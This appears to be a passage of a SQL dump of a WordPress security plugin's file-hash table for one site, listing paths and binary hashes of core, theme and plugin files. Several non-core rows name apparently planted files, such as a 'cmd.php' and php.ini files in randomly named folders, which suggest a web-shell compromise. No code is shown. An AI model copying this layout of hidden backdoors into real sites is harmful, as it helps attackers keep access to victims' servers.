('Hr #w/:4','wp-includes/js/dist/plugins.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/plugins.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','R>Ĉ]yB\\','#JjqmO5\'W?c.y','',0,'?'),
('#pdڟ','wp-content/themes/twentytwentyfive/styles/blocks/post-terms-1.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/blocks/post-terms-1.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','OZ<Y^R','WL)!4C*jP<','',0,'?'),
('1\nx','wp-includes/blocks/latest-posts.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/latest-posts.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','+{0t','QRX4}ǡ\0`ƅn߻x','',0,'?'),
('?E_)xڅ$','wp-admin/includes/deprecated.php','/home/trevorkl/trevorklee.com/wp-admin/includes/deprecated.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&T;e\"','VSDVnmJ[Db','',0,'?'),
('L>;*	Y۞m','wp-includes/blocks/preformatted/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/preformatted/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','OoJ}[׻W','mA-`8	P ay<(','',0,'?'),
('dTofҷbS','wp-content/plugins/wordfence/lib/menu_dashboard.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/menu_dashboard.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','!cmc;w','Q!Vs:0= .,!m,V','',0,'?'),
('poX0%','wp-includes/css/editor-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/css/editor-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','9y,֜CE;D','}n6,M{sklTG','',0,'?'),
('u;Ȍ0qw=','wp-content/plugins/wordfence/lib/dashboard/widget_networkattacks.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/dashboard/widget_networkattacks.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','1A׶$^>','p}:\\O1Q6XyTY','',0,'?'),
('}L~[\Z','wp-includes/html-api/knojvbd/lyuifac/csdhol1/php.ini','/home/trevorkl/trevorklee.com/wp-includes/html-api/knojvbd/lyuifac/csdhol1/php.ini',0,'Psقdh#K','Psقdh#K',':Aa\'\rIۺw)}WtO','',0,'0'),
('?=䃍b^','wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/NodeRecord.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/NodeRecord.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','~$xM6filK@','J]\'\Zu(XݴR\"','',0,'?'),
('jK&Y','wp-content/plugins/akismet/class.akismet-admin.php','/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/class.akismet-admin.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','#ȬƜ1','RR+Bǁ\r.۷?)Z6q','',0,'?'),
('$c{97^ІJg','wp-includes/js/dist/server-side-render.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/server-side-render.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','<ŭ̠մ','c\\p`n\" ŚoA1F%:S','',0,'?'),
('\Zl8/~','wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/Exception/IoException.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/Exception/IoException.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','sӔ\"Ku#','|*~rǪ byDRãAx','',0,'?'),
('ŕoi|}','wp-includes/block-supports/custom-classname.php','/home/trevorkl/trevorklee.com/wp-includes/block-supports/custom-classname.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','=FGrk9','{ͪ7*wz\rp3a3ꅧ7@','',0,'?'),
('M٦M/`','wp-includes/js/swfupload/handlers.js','/home/trevorkl/trevorklee.com/wp-includes/js/swfupload/handlers.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ُ\0	B~','Bșo$\'AdLxRU','',0,'?'),
('򱠭BRzY','wp-includes/js/jquery/jquery.table-hotkeys.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/jquery.table-hotkeys.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ogo~iI	','<=;:t_,wăI,,','',0,'?'),
('򴄰\rϔ>w','wp-content/themes/twentytwentyfive/patterns/template-search-vertical-header-blog.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/template-search-vertical-header-blog.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','I$v\\N	O-','\\\rCd<Xѷ	9#cs/','',0,'?'),
('?{o_\'n','wp-admin/images/resize-2x.gif','/home/trevorkl/trevorklee.com/wp-admin/images/resize-2x.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','{3VVFVf%K','懴y2qZo~([`\0`Ci\ZL\'','',0,'?'),
('_f $O<o','wp-admin/js/common.min.js','/home/trevorkl/trevorklee.com/wp-admin/js/common.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','t@S0',',W1Ah;j,y7JZq),','',0,'?'),
('%\0zfNpS','wp-includes/js/tinymce/plugins/wpemoji/plugin.js','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/wpemoji/plugin.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','SEx=d~eM','\"w%%{=L(hK\rƢHP','',0,'?'),
('w+\"+$^','wp-content/plugins/wordfence/lib/wfLog.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfLog.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','!|F\'M','S29wDS-Eܕa==ԢV','',0,'?'),
('6U*)u1@)\0P','wp-includes/blocks/navigation-link/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/navigation-link/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\n	nоXB','ܵ3\nȲf$\n_\r:z`X','',0,'?'),
('w(\'sy:6','wp-content/themes/twentynineteen/template-parts/content/content-single.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/template-parts/content/content-single.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','VسT+W','\roh}}iVAԁH!v>4}M','',0,'?'),
('<fÃy\0Y','wp-content/themes/twentytwentyone/assets/sass/04-elements/media.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/04-elements/media.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\Z.ʹg','\"e۰})sѓʫt[\"i/V','',0,'?'),
(',]%E','wp-includes/js/dist/views.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/views.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\Z4l	vc5','x;\nV<NUsu	JW|%_','',0,'?'),
('#\\/vXR','wp-admin/js/theme.js','/home/trevorkl/trevorklee.com/wp-admin/js/theme.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','W1JϷ','oo\nFNjl\\1\"ۯe\ZLXŚ','',0,'?'),
('$Ova8%','wp-includes/blocks/text-columns/editor.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/text-columns/editor.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','++R\r','$Y|eqЍu\0dfDbtF^	T','',0,'?'),
('*upy[\Z','wp-includes/class-wp-token-map.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-token-map.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','7L|nA','T3.<L\n/XN᪓2i=]V','',0,'?'),
('-Y_,v\'c\'','wp-content/themes/twentytwentyfive/templates/home.html','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/templates/home.html',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','H^!Eʷ	m','2S#R+%\0o,\ZF,( ߒ=','',0,'?'),
('1h~݅N\0ԋO\0','wp-content/themes/twentytwentyfive/patterns/hero-podcast.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/hero-podcast.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ְuC','	bBOI\ZjquM&&a;7	\"K','',0,'?'),
('_<Dhg','wp-includes/block-patterns/query-offset-posts.php','/home/trevorkl/trevorklee.com/wp-includes/block-patterns/query-offset-posts.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','NtW42:','բ}=%f|ޞVؔ#/=ȼk얜*','',0,'?'),
('cE%D	雩','wp-content/themes/twentynineteen/sass/blocks/_blocks.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/blocks/_blocks.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ݖE/~:','#ujB2q;+F+1gn.','',0,'?'),
('lFc뒕L','wp-admin/js/iris.min.js','/home/trevorkl/trevorklee.com/wp-admin/js/iris.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','22?ޡ{','dUD2G#lk^[\Z','',0,'?'),
('qd5Q]]ha','wp-includes/Requests/src/Cookie/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Cookie/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
(',o!zj\"','wp-admin/css/edit.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/edit.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','D]uua*4','|1HD	s\"z09B5t\"','',0,'?'),
('ؠ]fP','wp-content/plugins/wordfence/lib/wfLockedOut.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfLockedOut.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','6򦫻vFw','[$llÝzJp佋s','',0,'?'),
('^@9','wp-includes/blocks/read-more/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/read-more/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',']fp/','N\n:\'9@cb5\'A=\'','',0,'?'),
('}ANtgw','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/AEGIS256.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/AEGIS256.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','?_	ے;n ','^+$x}DgאTHxŽ(a|','',0,'?'),
('󛜚kKn+','wp-includes/blocks/post-comments-count/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-comments-count/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\"t)zq','G=UB0\'hǯ>Og&fdآή>-','',0,'?'),
('V.`Jxbey','wp-content/themes/twentytwentyone/inc/custom-css.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/inc/custom-css.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\"]!?\n?PUY0','^H[G8I\0k\rܶ:8	','',0,'?'),
('\ZkDӖaL=[V','wp-content/themes/twentytwentyone/template-parts/content/content-excerpt.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/template-parts/content/content-excerpt.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\rǄ\"TJχٖp','LJլ@~\")?A<','',0,'?'),
('m?ٖ','wp-includes/js/dist/script-modules/content-types/index.min.asset.php','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/content-types/index.min.asset.php',0,'\0hF311=E@','\0hF311=E@','S-/v(\"uϞk4c|1{t7','',0,'?'),
('Ns','wp-includes/customize/class-wp-customize-custom-css-setting.php','/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-custom-css-setting.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Cjb`,55tK','6`M!:7b,̧X4BP','',0,'?'),
('̵%0i2','wp-content/themes/twentynineteen/sass/mixins/_utilities.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/mixins/_utilities.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&7','/Cܰ/ŏ@XY!C','',0,'?'),
('\0L6','wp-includes/blocks/latest-posts/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/latest-posts/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','@[L,9I','zm,y羯;~NFvX:%]~','',0,'?'),
('M\ZlOp\\','wp-includes/js/dist/script-modules/boot/index.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/boot/index.min.js',0,'8#TEDkl','8#TEDkl','Ӷ\rќ\'Pl]\0$cЊC','',0,'?'),
('e`s̺Ʊ','wp-content/themes/twentytwentyfour/templates/page-wide.html','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/templates/page-wide.html',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','E%z\ZahChm','OHb^5xo\'8-mn?>','',0,'?'),
('➞^՘R','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Poly1305.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Poly1305.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','o[','{qiKK+\"IkauLm>gy','',0,'?'),
('Vk9۴sֿ','wp-admin/css/customize-controls-rtl.css','/home/trevorkl/trevorklee.com/wp-admin/css/customize-controls-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','8L0)ů0',',.*`ud7P(\"N}H','',0,'?'),
(';^𩸴8c','wp-includes/css/buttons.css','/home/trevorkl/trevorklee.com/wp-includes/css/buttons.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','y؞mjm','@:v5p\"_/%','',0,'?'),
('˫Q','wp-content/themes/twentytwentyfive/styles/blocks/01-display.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/blocks/01-display.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',').@ʠ','\r-|x	Y\\}}nLc(?>-̤','',0,'?'),
('S],4Fr8v','wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/Exception/MmdbThrowable.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/Exception/MmdbThrowable.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','f-\\;X=','\Z78Ue)1/<j\'&Ց+(','',0,'?'),
('(d&ؒ-T#(|','wp-includes/images/w-bfadedbecbebc.gif','/home/trevorkl/trevorklee.com/wp-includes/images/w-bfadedbecbebc.gif',0,'!$KT%','!$KT%','|\rF&_Ԃ́O\0\neZ','',0,'?'),
('(Կɶ۾趮','wp-includes/js/dist/edit-widgets.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/edit-widgets.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&nĤ{^sR9K','%oH9YF=U;.odk','',0,'?'),
('J\'#rN0a\r','wp-includes/images/crystal/audio.png','/home/trevorkl/trevorklee.com/wp-includes/images/crystal/audio.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','nV:ωG-#k','~B\Z-׼of|Wx\\|M)ˢ','',0,'?'),
('YRYi/l@HX','wp-includes/js/media-grid.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/media-grid.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','8諈s\"lv','\nQ##_^D¥0C2dip|','',0,'?'),
('ZQ!*','wp-content/plugins/wordfence/fonts/roboto-KFOkCnqEu92Fr1Mu51xGIzQXKMnyrYk.woff','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/fonts/roboto-KFOkCnqEu92Fr1Mu51xGIzQXKMnyrYk.woff',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','`y\0#xsGJt','Arx?j#CFOG-S$','',0,'?'),
(']И\n(?W&\\','wp-includes/blocks/audio/theme.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/audio/theme.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','pxں5)C4\ZM','^}b>?K8<R܊${06','',0,'?'),
('w>d?d','wp-includes/blocks/post-featured-image/editor.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-featured-image/editor.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','f98/+&A','fXLTզްf9K\r?|TE','',0,'?'),
('π{q\"(g$9','wp-includes/Requests/src/Exception/Http/Status504.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Exception/Http/Status504.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','!gGN&asoIw','@Ȝ\0!Fq?d,ǬMom','',0,'?'),
('7:b\r,ja','wp-includes/js/dist/blocks.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/blocks.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','WLGmJsQl','j솺.FXN\"Gc\n9Iy;\nd','',0,'?'),
('	geΨ2','wp-content/themes/twentytwentythree/parts/header.html','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/parts/header.html',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',']rCCeAFt','©\"K0D(t,7I','',0,'?'),
('ذ!t)}B','wp-content/themes/twentytwentyfive/patterns/grid-with-categories.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/grid-with-categories.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','KX@DxzB','i/=xB}Cn	|;\ry','',0,'?'),
('I*:o','wp-content/plugins/akismet/LICENSE.txt','/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/LICENSE.txt',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','4MiHjJBc','\0v1sN>cID٦I0-','',0,'?'),
('f	W5\raR\nK','wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php','/home/trevorkl/trevorklee.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','gqP]$]	 -1','ႫوDWS)m`<<}','',0,'?'),
('zZfip^2׎','wp-includes/js/mediaelement/mediaelement.js','/home/trevorkl/trevorklee.com/wp-includes/js/mediaelement/mediaelement.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','w\Zx5+.c','DRy\n:tƴ7C@W','',0,'?'),
('j8ď\Z','wp-includes/js/wp-backbone.js','/home/trevorkl/trevorklee.com/wp-includes/js/wp-backbone.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','c\"H#$C)7','6:OβRc5`\0=ܮ\\','',0,'?'),
('^s]B\n','wp-content/well-known/acme-challenge/f/e/b/b/fewioln/index.html','/home/trevorkl/trevorklee.com/wp-content/well-known/acme-challenge/f/e/b/b/fewioln/index.html',0,'ُ\0	B~','ُ\0	B~','Bșo$\'AdLxRU','',0,'?'),
('¾h֙ѽjﲰ','wp-includes/blocks/comment-content.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/comment-content.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','t`nPv;Ub',';j{x䕔>OziZPt','',0,'?'),
('ɀ|ʹ!f','wp-content/plugins/loginizer/assets/images/social/Facebook-light.png','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/assets/images/social/Facebook-light.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','nQ8$rw','5,k>F u^&\rgD','',0,'?'),
('zп^Γ\\m','wp-includes/sitemaps/sqh1xut/mjntoed/jprxeqi/cmd.php','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/sqh1xut/mjntoed/jprxeqi/cmd.php',0,'^ÌV7m','^ÌV7m','	7*[!(]>Mޘ|΄$t','',0,'?'),
(';cZ','wp-content/themes/twentytwentyfive/assets/fonts/platypi/Platypi-VariableFont_wght.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/platypi/Platypi-VariableFont_wght.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','zIo盀pι','i@fX5د9$!|\r','',0,'?'),
('N4ߏoݺ3^P','wp-includes/block-supports/settings.php','/home/trevorkl/trevorklee.com/wp-includes/block-supports/settings.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ulY P8bH\0','a\'MX0ݤ|\\nÉgFj','',0,'?'),
('*˰9=','wp-includes/SimplePie/library/SimplePie/Restriction.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Restriction.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','p7GܕawhnG','i/u\Z׎@J>m*mNjdw^','',0,'?'),
('CFCT/ڮ+:`','wp-includes/blocks/comments-pagination-numbers/editor.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/comments-pagination-numbers/editor.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\r1Ah$RY','6=+B)/UASz','',0,'?'),
(']R>w.EQ','wp-includes/sodium_compat/src/Core/Curve25519/README.md','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/Curve25519/README.md',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Yϛvj\n','Sx^V>m!-qDeV','',0,'?'),
('(T/IevB','wp-includes/blocks/table/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/table/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','L\'Z[e5X','f,$7ޜQx[2B=','',0,'?'),
('d j%VATd','wp-includes/assets/script-modules-packages.min.php','/home/trevorkl/trevorklee.com/wp-includes/assets/script-modules-packages.min.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','%sq̆Yy','Cmci_vf<*','',0,'?'),
('<#hOx3\rLp','wp-includes/SimplePie/library/SimplePie/Source.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Source.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','rI쓋+Q','iGb)k:DMl<s	ʁނN0bQ','',0,'?'),
('!֐(yJo*J','wp-content/plugins/wordfence/vendor/composer/autoload_static.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/composer/autoload_static.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','6	PWn\"b','EgpԨwh.3\nfN','',0,'?'),
(')#jdSeʋ','wp-includes/js/jquery/ui/effect-shake.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/effect-shake.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','E\0^Vt(w*|HD','\Zh[g6\Z\"NO\Z:d/','',0,'?'),
('*1G鍫vLߟn','wp-includes/sodium_compat/src/Compat.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Compat.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ͻe*ެb','-9j&ZO}$اK','',0,'?'),
('-\"DʹD5a/','wp-includes/cron.php','/home/trevorkl/trevorklee.com/wp-includes/cron.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','{[/&p','rI݂\'=?AB\"[k','',0,'?'),
('A4e{^Z','wp-includes/js/wpdialog.js','/home/trevorkl/trevorklee.com/wp-includes/js/wpdialog.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ȋ5U c','}LS5zb$^G\0P#{Ie','',0,'?'),
('uN.A__','wp-includes/js/media-editor.js','/home/trevorkl/trevorklee.com/wp-includes/js/media-editor.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','@4Vaˣ','9R\rƲo[NKš*h','',0,'?'),
('|T/VVꑇ','wp-content/themes/twentytwentyfive/patterns/page-landing-book.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/page-landing-book.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','^M\rz','ÃʬBI$B6{ȉ','',0,'?'),
(')Q\n?Oar','wp-includes/blocks/comment-reply-link.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/comment-reply-link.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','cIk~k4V','܏?\"H<\'Huah&N\n','',0,'?'),
('>+ܞL[m','wp-includes/js/tinymce/skins/lightgray/img/anchor.gif','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/skins/lightgray/img/anchor.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','a5qȑ_4@','(afoxDpaQ6mtk,V^','',0,'?'),
('(%#9yn','wp-admin/css/forms.css','/home/trevorkl/trevorklee.com/wp-admin/css/forms.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','hzE$!F','QK}ajv$.Ms1 N(z~','',0,'?'),
('obBrj3#\r','wp-content/plugins/wordfence/waf/pomo/entry.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/waf/pomo/entry.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',';²iGQAw','79]#/rbCte\\cߏP','',0,'?'),
('HL<̑5','wp-includes/blocks/query/view.js','/home/trevorkl/trevorklee.com/wp-includes/blocks/query/view.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','DjܒcYT','\rɦJXC+ߐGb˄	<ދ05','',0,'?'),
('nJĜ@eQG','wp-content/themes/twentytwentytwo/templates/blank.html','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/templates/blank.html',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','tfi)\r͚B넞','vx1ջ}0/w3cg(p','',0,'?'),
('D6S/cQ?','wp-includes/customize/class-wp-customize-background-position-control.php','/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-background-position-control.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','}4O','\":\nD<RD+|-Z]K?','',0,'?'),
('ѤIӮN1ǰJ]','wp-content/themes/twentytwentyfive/assets/images/coral-square.webp','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/coral-square.webp',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','.V8PouL[','y(mȖwˈ<	sS1JzZ?+','',0,'?'),
('lJvQ˴','wp-includes/blocks/post-comments-count/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-comments-count/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','g)Lxbc','H+^5wRfj	b4YnD','',0,'?'),
('y\0\"Q','wp-admin/user/menu.php','/home/trevorkl/trevorklee.com/wp-admin/user/menu.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' 7}','UNh7_JsF7OU\\','',0,'?'),
('^zO5<','wp-includes/blocks/details/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/details/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','b2|^v','W)tV3>M*ہTCjOc$ˈ8߲','',0,'?'),
('~rC','wp-admin/link-parse-opml.php','/home/trevorkl/trevorklee.com/wp-admin/link-parse-opml.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','y_H=4GR','.eqʁ;B(mnmwa','',0,'?'),
('/Hǌi[v[','wp-content/themes/twentytwentytwo/inc/patterns/footer-title-tagline-social.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/footer-title-tagline-social.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','M1۵m7u~','\"~Qdt/*(.hn~(fJ','',0,'?'),
('V9KgoX7','wp-admin/images/align-left-2x.png','/home/trevorkl/trevorklee.com/wp-admin/images/align-left-2x.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','i8O^c','$kb>k&:	ڂa7Zcdm%','',0,'?'),
('W#:V^H3X','wp-includes/blocks/nextpage/editor.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/nextpage/editor.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','6Rc0t F0','XkW4xYĘH7ya','',0,'?'),
(']$IFq֖ť','wp-content/plugins/wordfence/modules/login-security/classes/controller/passkey.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/controller/passkey.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',';i1qiw#m','jmo\0亁U7wѶ~','',0,'?'),
('~ĂTFGW2','wp-includes/Text/yk1mjid/wgocz1i/vydqnsb/php.ini','/home/trevorkl/trevorklee.com/wp-includes/Text/yk1mjid/wgocz1i/vydqnsb/php.ini',0,'Psقdh#K','Psقdh#K',':Aa\'\rIۺw)}WtO','',0,'0'),
